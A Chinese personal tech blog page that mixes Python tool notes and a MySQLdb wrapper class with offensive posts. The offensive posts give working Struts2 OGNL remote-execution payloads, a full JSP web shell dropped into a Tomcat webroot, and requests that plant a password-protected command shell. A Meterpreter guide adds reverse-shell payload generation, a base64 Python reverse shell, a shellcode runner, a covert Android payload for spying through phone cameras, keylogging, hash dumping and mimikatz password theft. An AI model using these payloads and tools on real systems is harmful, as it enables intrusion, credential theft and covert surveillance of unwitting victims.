struts2 debug开启可执行ognl

发布时间:September 25, 2015 // 分类:运维工作,开发笔记,linux,windows,python,生活琐事 // No Comments

1.测试是否存在

debug=command&expression=%23f%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticM%27%2b%27ethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23o%3d@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23o.println(%27[%27%2b%27ok%27%2b%27]%27),%23o.close()

2. 尝试执行命令

debug=command&expression=new%20java.io.BufferedReader(new%20java.io.InputStreamReader(new%20java.lang.ProcessBuilder({%27id%27}).start().getInputStream())).readLine()

3.获取相关路径

debug=command&expression=%23f=%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23req=@org.apache.struts2.ServletActionContext@getRequest(),%23resp=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23e=%23req.getRealPath(%27%27),%23resp.println(%23e),%23resp.close()

4.写shell~wget或者curl都可以。这里提供一个写shell方式

cmd /c echo ^<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%^> ^<%! String Pwd="chopper"; String EC(String s,String c)throws Exception{return new String(s.getBytes("ISO-8859-1"),c);} Connection GC(String s)throws Exception{String[] x=s.trim().split("\r\n");Class.forName(x[0].trim()).newInstance(); Connection c=DriverManager.getConnection(x[1].trim());if(x.length^>2){c.setCatalog(x[2].trim());}return c;} void AA(StringBuffer sb)throws Exception{File r[]=File.listRoots();for(int i=0;i^<r.length;i++){sb.append(r[i].toString().substring(0,2));}} void BB(String s,StringBuffer sb)throws Exception{File oF=new File(s),l[]=oF.listFiles();String sT, sQ,sF="";java.util.Date dt; SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");for(int i=0;i^<l.length;i++){dt=new java.util.Date(l[i].lastModified()); sT=fm.format(dt);sQ=l[i].canRead()?"R":"";sQ+=l[i].canWrite()?" W":"";if(l[i].isDirectory()){sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");} else{sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";}}sb.append(sF);} void EE(String s)throws Exception{File f=new File(s);if(f.isDirectory()){File x[]=f.listFiles(); for(int k=0;k^<x.length;k++){if(!x[k].delete()){EE(x[k].getPath());}}}f.delete();} void FF(String s,HttpServletResponse r)throws Exception{int n;byte[] b=new byte[512];r.reset(); ServletOutputStream os=r.getOutputStream();BufferedInputStream is=new BufferedInputStream(new FileInputStream(s)); os.write(("->"+"|").getBytes(),0,3);while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.write(("|"+"<-").getBytes(),0,3);os.close();is.close();} void GG(String s, String d)throws Exception{String h="0123456789ABCDEF";int n;File f=new File(s);f.createNewFile(); FileOutputStream os=new FileOutputStream(f);for(int i=0;i^<d.length();i+=2) {os.write((h.indexOf(d.charAt(i))^<^<4^|h.indexOf(d.charAt(i+1))));}os.close();} void HH(String s,String d)throws Exception{File sf=new File(s),df=new File(d);if(sf.isDirectory()){if(!df.exists()){df.mkdir();}File z[]=sf.listFiles(); for(int j=0;j^<z.length;j++){HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());} }else{FileInputStream is=new FileInputStream(sf);FileOutputStream os=new FileOutputStream(df); int n;byte[] b=new byte[512];while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}is.close();os.close();}} void II(String s,String d)throws Exception{File sf=new File(s),df=new File(d);sf.renameTo(df);}void JJ(String s)throws Exception{File f=new File(s);f.mkdir();} void KK(String s,String t)throws Exception{File f=new File(s);SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); java.util.Date dt=fm.parse(t);f.setLastModified(dt.getTime());} void LL(String s, String d)throws Exception{URL u=new URL(s);int n;FileOutputStream os=new FileOutputStream(d); HttpURLConnection h=(HttpURLConnection)u.openConnection();InputStream is=h.getInputStream();byte[] b=new byte[512]; while((n=is.read(b,0,512))!=-1){os.write(b,0,n);}os.close();is.close();h.disconnect();} void MM(InputStream is, StringBuffer sb)throws Exception{String l;BufferedReader br=new BufferedReader(new InputStreamReader(is)); while((l=br.readLine())!=null){sb.append(l+"\r\n");}} void NN(String s,StringBuffer sb)throws Exception{Connection c=GC(s);ResultSet r=c.getMetaData().getCatalogs(); while(r.next()){sb.append(r.getString(1)+"\t");}r.close();c.close();} void OO(String s,StringBuffer sb)throws Exception{Connection c=GC(s);String[] t={"TABLE"};ResultSet r=c.getMetaData().getTables (null,null,"%",t); while(r.next()){sb.append(r.getString("TABLE_NAME")+"\t");}r.close();c.close();} void PP(String s,StringBuffer sb)throws Exception{String[] x=s.trim().split("\r\n");Connection c=GC(s); Statement m=c.createStatement(1005,1007);ResultSet r=m.executeQuery("select * from "+x[3]);ResultSetMetaData d=r.getMetaData(); for(int i=1;i^<=d.getColumnCount();i++){sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");}r.close();m.close();c.close();} void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{int i;Connection c=GC(s);Statement m=c.createStatement(1005,1008); try{ResultSet r=m.executeQuery(q);ResultSetMetaData d=r.getMetaData();int n=d.getColumnCount();for(i=1;i^<=n;i++){sb.append(d.getColumnName(i)+"\t|\t"); }sb.append("\r\n");while(r.next()){for(i=1;i^<=n;i++){sb.append(EC(r.getString(i),cs)+"\t|\t");}sb.append("\r\n");}r.close();} catch(Exception e){sb.append("Result\t|\t\r\n");try{m.executeUpdate(q);sb.append("Execute Successfully!\t|\t\r\n"); }catch(Exception ee){sb.append(ee.toString()+"\t|\t\r\n");}}m.close();c.close();} %^>^<% String cs=request.getParameter("z0")+"";request.setCharacterEncoding(cs);response.setContentType("text/html;charset="+cs); String Z=EC(request.getParameter(Pwd)+"",cs);String z1=EC(request.getParameter("z1")+"",cs);String z2=EC(request.getParameter("z2")+"",cs); StringBuffer sb=new StringBuffer("");try{sb.append("->"+"|"); if(Z.equals("A")){String s=new File(application.getRealPath(request.getRequestURI())).getParent();sb.append(s+"\t");if(!s.substring(0,1).equals("/")){AA(sb);}} else if(Z.equals("B")){BB(z1,sb);}else if(Z.equals("C")){String l="";BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1)))); while((l=br.readLine())!=null){sb.append(l+"\r\n");}br.close();} else if(Z.equals("D")){BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1)))); bw.write(z2);bw.close();sb.append("1");}else if(Z.equals("E")){EE(z1);sb.append("1");}else if(Z.equals("F")){FF(z1,response);} else if(Z.equals("G")){GG(z1,z2);sb.append("1");}else if(Z.equals("H")){HH(z1,z2);sb.append("1");}else if(Z.equals("I")){II(z1,z2);sb.append("1");} else if(Z.equals("J")){JJ(z1);sb.append("1");}else if(Z.equals("K")){KK(z1,z2);sb.append("1");}else if(Z.equals("L")){LL(z1,z2);sb.append("1");} else if(Z.equals("M")){String[] c={z1.substring(2),z1.substring(0,2),z2};Process p=Runtime.getRuntime().exec(c); MM(p.getInputStream(),sb);MM(p.getErrorStream(),sb);}else if(Z.equals("N")){NN(z1,sb);}else if(Z.equals("O")){OO(z1,sb);} else if(Z.equals("P")){PP(z1,sb);}else if(Z.equals("Q")){QQ(cs,z1,z2,sb);} }catch(Exception e){sb.append("ERROR"+":// "+e.toString());}sb.append("|"+"<-");out.print(sb.toString()); %^>^|^<--^>^| >"D:/Tomcat/webapps/ROOT/website/images/right.jsp"

 

下面是struts2的绕过~使用于一些未及时修复的.

1.获取路径

POST /index.action?title=CasterJs HTTP/1.1
Host: www.0day5.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: cookie
Content-Type: multipart/form-data; boundary=------------------------5423a63046c50524a84963968721
Content-Length: 256

--------------------------5423a63046c50524a84963968721
Content-Disposition: form-data; name="redirect:/${#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest").getRealPath("/")}"

-1
--------------------------5423a63046c50524a84963968721%

 

2.根据获取到的路径写入shell

POST /index.action HTTP/1.1
Host: www.0day5.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: cookie
Content-Type: multipart/form-data; boundary=------------------------5423a63046c50524a84963968721
Content-Length: 570

--------------------------5423a63046c50524a84963968721
Content-Disposition: form-data; name="redirect:/${"x"+(new java.io.PrintWriter("/data/www/app/0day5/loggout.jsp")).append("<%if(\"023\".equals(request.getParameter(\"pwd\"))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(\"i\")).getInputStream()\u003bint a = -1\u003bbyte[] b = new byte[2048]\u003bout.print(\"<pre>\")\u003bwhile((a=in.read(b))!=-1){out.println(new String(b))\u003b}out.print(\"</pre>\")\u003b}%>").close()}"


-1
--------------------------5423a63046c50524a84963968721%

某平台的插件

    def verify(self):
        try:
            header = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36'}
            data = {r'xxoo': '1'}
            file = {'test': ('1.jpg', StringIO('1'))}
            req = requests.Request('POST', self.option.url, headers=header, data=data, files=file).prepare()
            req.body = req.body.replace('xxoo', r'redirect:/${"\u007e\u007e"+#context.get("com.opensymphony.xwork2.dispatcher.HttpServletRequest").getRealPath("/")+"\u007e\u007e"}')
            req.headers['Content-Length'] = len(req.body)
            s = requests.Session()
            reponse = s.send(req, timeout=10, verify=False, allow_redirects=False)
            webroot = ''.join(re.findall(r'~~(.*?)~~', reponse.headers['Location'], re.S|re.I))
            if reponse.status_code == 302 and len(webroot):
                self.result.status = True
                self.result.description = "目标 {url} 存在st2命令执行漏洞, web路径为: {dir}".format(url=self.option.url, dir=webroot)
            else:
                self.result.status = False
                self.result.error = "不存在st2漏洞"
        except Exception, e:
            self.result.status = False
            self.result.error = str(e)

    def exploit(self):
        self.verify()

 

利用uncompyle去搞定marshal.loads

发布时间:September 21, 2015 // 分类:运维工作,开发笔记,linux,windows,python,生活琐事 // 4 Comments

最近一直再解密一个东西.到了

marshal.loads(zlib.decompress(urllib.urlopen(url).read()))

就没办法继续下一步了。中间休顿了好久.今天碰巧看到一篇关于这个的文章,记录下

主要应用的是 uncompyle 库
网上增强版众多,有机会还是得深入到原理去学习一下,以待自己能改进.
stackoverflow上面看搜到一些答案(多去多收获啊….)
http://stackoverflow.com/questions/8189352/decompile-python-2-7-pyc
下载库文件
https://github.com/wibiti/uncompyle2
安装
 

python setup.py install

—————————序列化导—————————

import uncompyle2
import marshal

co = marshal.loads(zlib.decompress(“/x/x/x/x/x/x/xx/x/x/x”))

f=open('/tmp/testa','w');
uncompyle2.uncompyle('2.7.3',co,f);

也不卖关子了.直接贴上

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import urllib, urllib2, marshal, zlib, time, re, sys
import uncompyle2
#第一访问
#re = requests.get('https://www.bugscan.net/0a772492fbe89800')
#print re.content
#re = urllib2.urlopen('https://www.bugscan.net/0a772492fbe89800').read()
#print re
'''
#第一次的结果
#!/usr/bin/env python
import imp
if imp.get_magic() != '\x03\xf3\r\n':
    print "Please update to Python 2.7.3 (http://www.python.org/download/)"
    exit()

import urllib, marshal, zlib, time, re, sys
for k in sys._getframe(1).f_code.co_consts:
    if not isinstance(k, basestring):
        continue
    m = re.match(r"http[s]*://[\w\.]+/[\?\w]*([0-9a-f]{16})", k)
    if m:
        _S = "https"
        _B = "www.bugscan.net"
        _U = m.group(1)
        _C = True
        count = 30
        while _C:
            if count <= 0:
                break
            try:
                exec marshal.loads(zlib.decompress(urllib.urlopen('%s://%s/bin/core_new' % (_S, _B)).read()))
            except:
                time.sleep(240)
            count = count - 1
        break

'''
#从结果里面找到的
url = 'https://www.bugscan.net/bin/core_new'
data1 = marshal.loads(zlib.decompress(urllib.urlopen(url).read()))
f=open('./bugscan.py','w');
uncompyle2.uncompyle('2.7.3',data1,f);

参考:

http://wcf1987.iteye.com/blog/1672542

http://www.blackh4t.org/archives/969.html

python多版本管理工具pythonbrew

发布时间:September 15, 2015 // 分类:运维工作,工作日志,linux,windows // No Comments

06 January 2013

当你需要在一台机器上同时安装多个不同版本的python的时候,你可能就需要使用pythonbrew

pythonbrew可以帮你下载安装不同版本的python并且可以自由的在多个版本间进行切换,它和ruby的rvm类似。

安装


  • 终端输入curl -kL http://xrl.us/pythonbrewinstall | bash

    执行完成之后它会安装在~/.pythonbrew.目录下

    如果你想将pythonbrew安装到指定的位置你需要这样做

    export PYTHONBREW_ROOT=/path/to/pythonbrew
    curl -kLO http://xrl.us/pythonbrewinstall
    chmod +x pythonbrewinstall
    ./pythonbrewinstall
  • ~/.bashrc添加[[ -s $HOME/.pythonbrew/etc/bashrc ]] && source $HOME/.pythonbrew/etc/bashrc

使用


安装python

pythonbrew install 2.7.2
pythonbrew install --verbose 2.7.2
pythonbrew install --test 2.7.2
pythonbrew install --test --force 2.7.2
pythonbrew install --configure="CC=gcc_4.1" 2.7.2
pythonbrew install --no-setuptools 2.7.2
pythonbrew install http://www.python.org/ftp/python/2.7/Python-2.7.2.tgz
pythonbrew install /path/to/Python-2.7.2.tgz
pythonbrew install /path/to/Python-2.7.2
pythonbrew install 2.7.2 3.2

临时切换到指定版本的(当前shell)

pythonbrew use 2.7.2

永久切换到指定版本的

pythonbrew switch 2.7.2
pythonbrew switch 3.2

列出以安装的版本

pythonbrew list

列出所有可安装的版本

pythonbrew list -k

卸载

pythonbrew uninstall 2.7.2
pythonbrew uninstall 2.7.2 3.2

清理源文件和安装包

pythonbrew cleanup

更新pythonbrew

pythonbrew update
pythonbrew update --master
pythonbrew update --develop

停用pythonbrew

pythonbrew off

更多


更多使用方法请参考https://github.com/utahta/pythonbrew

兔大侠整理的MySQLdb Python封装类

发布时间:September 13, 2015 // 分类:开发笔记,工作日志,运维工作,代码学习,linux,windows,python,mysql // No Comments

我一直没弄明白一件事情,Python语言已经这么流行和成熟了,为什么使用MySQL的方式却如此原始。Python 2下大家推崇的依旧是使用MySQLdb这个第三方的模块,而其使用方式还是手写方法,没有一个比较权威的封装类。或许是我孤陋寡闻?

根据官方文档及一些网上的样例,兔哥整理了一个MySQLdb的封装类。基本上涵盖了常用的函数,一般开发应该够用了。

#!/usr/bin/env python
# -*- coding: utf-8 -*- 
u'''对MySQLdb常用函数进行封装的类
 
 整理者:兔大侠和他的朋友们(http://www.tudaxia.com)
 日期:2014-04-22
 出处:源自互联网,共享于互联网:-)
 
 注意:使用这个类的前提是正确安装 MySQL-Python模块。
 官方网站:http://mysql-python.sourceforge.net/
'''

import MySQLdb
import time

class MySQL:
    u'''对MySQLdb常用函数进行封装的类'''
    
    error_code = '' #MySQL错误号码

    _instance = None #本类的实例
    _conn = None # 数据库conn
    _cur = None #游标

    _TIMEOUT = 30 #默认超时30秒
    _timecount = 0
        
    def __init__(self, dbconfig):
        u'构造器:根据数据库连接参数,创建MySQL连接'
        try:
            self._conn = MySQLdb.connect(host=dbconfig['host'],
                                         port=dbconfig['port'], 
                                         user=dbconfig['user'],
                                         passwd=dbconfig['passwd'],
                                         db=dbconfig['db'],
                                         charset=dbconfig['charset'])
        except MySQLdb.Error, e:
            self.error_code = e.args[0]
            error_msg = 'MySQL error! ', e.args[0], e.args[1]
            print error_msg
            
            # 如果没有超过预设超时时间,则再次尝试连接,
            if self._timecount &lt; self._TIMEOUT:
                interval = 5
                self._timecount += interval
                time.sleep(interval)
                return self.__init__(dbconfig)
            else:
                raise Exception(error_msg)
        
        self._cur = self._conn.cursor()
        self._instance = MySQLdb

    def query(self,sql):
        u'执行 SELECT 语句'     
        try:
            self._cur.execute("SET NAMES utf8") 
            result = self._cur.execute(sql)
        except MySQLdb.Error, e:
            self.error_code = e.args[0]
            print "数据库错误代码:",e.args[0],e.args[1]
            result = False
        return result

    def update(self,sql):
        u'执行 UPDATE 及 DELETE 语句'
        try:
            self._cur.execute("SET NAMES utf8") 
            result = self._cur.execute(sql)
            self._conn.commit()
        except MySQLdb.Error, e:
            self.error_code = e.args[0]
            print "数据库错误代码:",e.args[0],e.args[1]
            result = False
        return result
        
    def insert(self,sql):
        u'执行 INSERT 语句。如主键为自增长int,则返回新生成的ID'
        try:
            self._cur.execute("SET NAMES utf8")
            self._cur.execute(sql)
            self._conn.commit()
            return self._conn.insert_id()
        except MySQLdb.Error, e:
            self.error_code = e.args[0]
            return False
    
    def fetchAllRows(self):
        u'返回结果列表'
        return self._cur.fetchall()

    def fetchOneRow(self):
        u'返回一行结果,然后游标指向下一行。到达最后一行以后,返回None'
        return self._cur.fetchone()
 
    def getRowCount(self):
        u'获取结果行数'
        return self._cur.rowcount
                          
    def commit(self):
        u'数据库commit操作'
        self._conn.commit()
                        
    def rollback(self):
        u'数据库回滚操作'
        self._conn.rollback()
           
    def __del__(self): 
        u'释放资源(系统GC自动调用)'
        try:
            self._cur.close() 
            self._conn.close() 
        except:
            pass
        
    def  close(self):
        u'关闭数据库连接'
        self.__del__()
 

if __name__ == '__main__':
    '''使用样例'''
    
    #数据库连接参数  
    dbconfig = {'host':'localhost', 
                'port': 3306, 
                'user':'dbuser', 
                'passwd':'dbpassword', 
                'db':'testdb', 
                'charset':'utf8'}
    
    #连接数据库,创建这个类的实例
    db = MySQL(dbconfig)
    
    #操作数据库
    sql = "SELECT * FROM `sample_table`"
    db.query(sql);
    
    #获取结果列表
    result = db.fetchAllRows();
    
    #相当于php里面的var_dump
    print result
    
    #对行进行循环
    for row in result:
        #使用下标进行取值
        #print row[0]
        
        #对列进行循环
        for colum in row:
            print colum
 
    #关闭数据库
    db.close()

 

Meterpreter Guide

发布时间:September 6, 2015 // 分类:工作日志,代码学习,linux,VC/C/C++ // No Comments

0x01 入门篇(生成与接收)


功能介绍

msfpayload和msfencode已经被时代淘汰了现在都转为msfvenom了

msfvenom命令行选项如下:
    Options:
        -p, --payload    payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
        -l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
        -n, --nopsled    length>        为payload预先指定一个NOP滑动长度
        -f, --format     format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
     -e, --encoder    [encoder]       指定需要使用的encoder(编码器)
        -a, --arch       architecture>  指定payload的目标架构
            --platform   platform>      指定payload的目标平台
        -s, --space      length>        设定有效攻击荷载的最大长度
        -b, --bad-chars  list>          设定规避字符集,比如: '\x00\xff'
        -i, --iterations count>         指定payload的编码次数
        -c, --add-code   path>          指定一个附加的win32 shellcode文件
        -x, --template   path>          指定一个自定义的可执行文件作为模板
        -k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
            --payload-options            列举payload的标准选项
        -o, --out   path>               保存payload
        -v, --var-name name>            指定一个自定义的变量,以确定输出格式
        --shellest                   最小化生成payload
        -h, --help                       查看帮助选项
        --help-formats               查看msf支持的输出格式列表

查看一个Payload具体需要什么参数

msfvenom -p windows/meterpreter/bind_tcp --payload-options

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
LPORT     4444             yes       The listen port
RHOST                      no        The target address

只示范reverse_tcp 大家可以根据各种不同的环境来选择Payload

reverse_http or bind_tcp ...

自己本地生成的bind_tcp的payload并不能在Windows机子上运行 (提示不是可用的Win32程序:(....)

如果大家也有遇到这种错误的话 推荐用msfvenom生成c的shellcode 然后自己编译为exe后运行:)

说不定还有以外的效果哦~

分享一个bind_tcp的栗子 (自行更改shelcode)

#include "windows.h"
#include "stdio.h"

typedef void (_stdcall *CODE)();    

unsigned char shellcode[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x85\xc0\x75"
"\x50\x57\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
"\xff\xd5\x97\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x2d\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x07\x01"
"\xc3\x29\xc6\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff"
"\xd5";

void RunShellCode()  
{  
    ( (void (*)(void))&shellcode )();  
}  


void main()  
{  
    RunShellCode();  
}

具体编码方式和编码次数大家可以自行改变:)

使用msfvenom --list可以查看所有的payload encoder nops...哦~~

生成Windows reverse_tcp payload

msfvenom -p windows/meterpreter/reverse_tcp -e -i 3 LHOST=172.22.25.51 LPORT=23333 -f exe -o ~/Desktop/shell.exe

or

msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i 3 LHOST=172.22.25.51 LPORT=23333 -f exe -o ~/Desktop/shell.exe

生成Python reverse_tcp payload

msfvenom -p python/meterpreter/reverse_tcp -e -i 3 LHOST=172.22.25.51  LPORT=23333

生成出来的Python是可以直接解码来改IP的端口的 所以可以不用浪费时间生成payload 大家自行更改IP和端口~

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxNzIuMjIuMjUuNTEnLDIzMzMzKSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')))

生成java payload

msfvenom -p java/meterpreter/reverse_tcp LHOST=10.42.0.1  LPORT=23333 -o ~/Desktop/123.jar

生成php payload

msfvenom -p  php/meterpreter_reverse_tcp LHOST=10.42.0.1  LPORT=23333 -o ~/Desktop/123.php

生成Linux payload

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.42.0.1  LPORT=23333 -f elf -o ~/Desktop/123.elf

生成Android的payload :)

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.42.0.1  LPORT=23333 -o ~/Desktop/1234.apk

生成后 手机点击app无任何反应 app就默默的后台运行 干啥都行:) so cool!偷偷控制手机摄像头!

接收

msf > use multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 23333
LPORT => 23333
msf exploit(handler) > set LHOST 10.42.0.1
LHOST => 10.42.0.1
msf exploit(handler) > exploit

0x02 Go on:)


基本命令:

background  # 让meterpreter处于后台模式  
sessions -i number   # 与会话进行交互,number表示第n个session  
quit  # 退出会话  
shell # 获得命令行
cat c:\\boot.ini   # 查看文件内容  
getwd # 查看当前工作目录 work directory  
upload /root/Desktop/netcat.exe c:\\ # 上传文件到目标机上  
download 0xfa.txt /root/Desktop/   # 下载文件到本机上  
edit c:\\boot.ini  # 编辑文件  
search -d d:\\www -f web.config # search 文件 
ps # 查看当前活跃进程  
migrate  pid # 将Meterpreter会话移植到进程数位pid的进程中  
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互  
getpid # 获取当前进程的pid  
kill pid # 杀死进程  
getuid # 查看权限  
sysinfo # 查看目标机系统信息,如机器名,操作系统等  
getsystem #提权操作
timestompc:/a.doc -c "10/27/2015 14:22:11" #修改文件的创建时间

迁移进程

meterpreter > ps

自行选择PID

meterpreter > migrate pid

提权操作

  • getsystem 大部分都会失败 他只尝试了4个Payload。

    meterpreter > getuid    
    Server username: Testing\Croxy    
    meterpreter > getsystem    
    [-] priv_elevate_getsystem: Operation failed: Access is denied.    
    
  • 使用MS14-058之类的Exp进行提权

    meterpreter > background
    [*] Backgrounding session 3..
    msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
    msf exploit(ms14_058_track_popup_menu) > set SESSION 3
    

    再也不用去网上找Exp来下载拉~:)

获取敏感信息(Windows版本 Linux自行选择)

run post/windows/gather/checkvm #是否虚拟机
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks   #获取最近的文件操作
run post/windows/gather/enum_ie  #获取IE缓存
run post/windows/gather/enum_chrome   #获取Chrome缓存
run scraper                      #获取常见信息
#保存在~/.msf4/logs/scripts/scraper/目录下

详细请参考 http://drops.wooyun.org/tips/9732

键盘记录

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
dir <Return> cd  <Ctrl>  <LCtrl>
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

网络嗅探

meterpreter > use sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces
    1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
    2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
    3 - 'Cisco Systems VPN Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_dump 2 /tmp/test2.cap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 1176 packets (443692 bytes)
[*] Downloaded 100% (443692/443692)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/test2.cap

获取Hash

meterpreter > run post/windows/gather/smart_hashdump
[*] Running module against TESTING
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*]     Obtaining the boot key...
[*]     Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239...
[*]     Obtaining the user list and keys...
[*]     Decrypting user keys...
[*]     Dumping password hints...
[+]     Croxy:"Whoareyou"
[*]     Dumping password hashes...
[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
[+]     HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:::
[+]     test123:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:::

获取明文密码

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM    

meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials    

meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================    

meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : Testing
BootKey    : 8c2c8d96e92a8ccfc407a1ca48531239    

meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Croxy ; Testing ; hehe }
[1] { test ; Testing ; test }

通过Hash获取权限

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > show options    

Module options (exploit/windows/smb/psexec):    

Name       Current Setting  Required  Description
----       ---------------  --------  -----------
RHOST                       yes       The target address
RPORT      445              yes       Set the SMB service port
SHARE      ADMIN$           yes       The share to connect to, can be an admi                                              n share

(ADMIN$,C$,...) or a normal read/write folder share
SMBDomain  WORKGROUP        no        The Windows domain to use for authentic                                                ation
SMBPass                     no        The password for the specified username
SMBUser                     no        The username to authenticate as    

Exploit target:    

Id  Name
--  ----
0   Automatic    

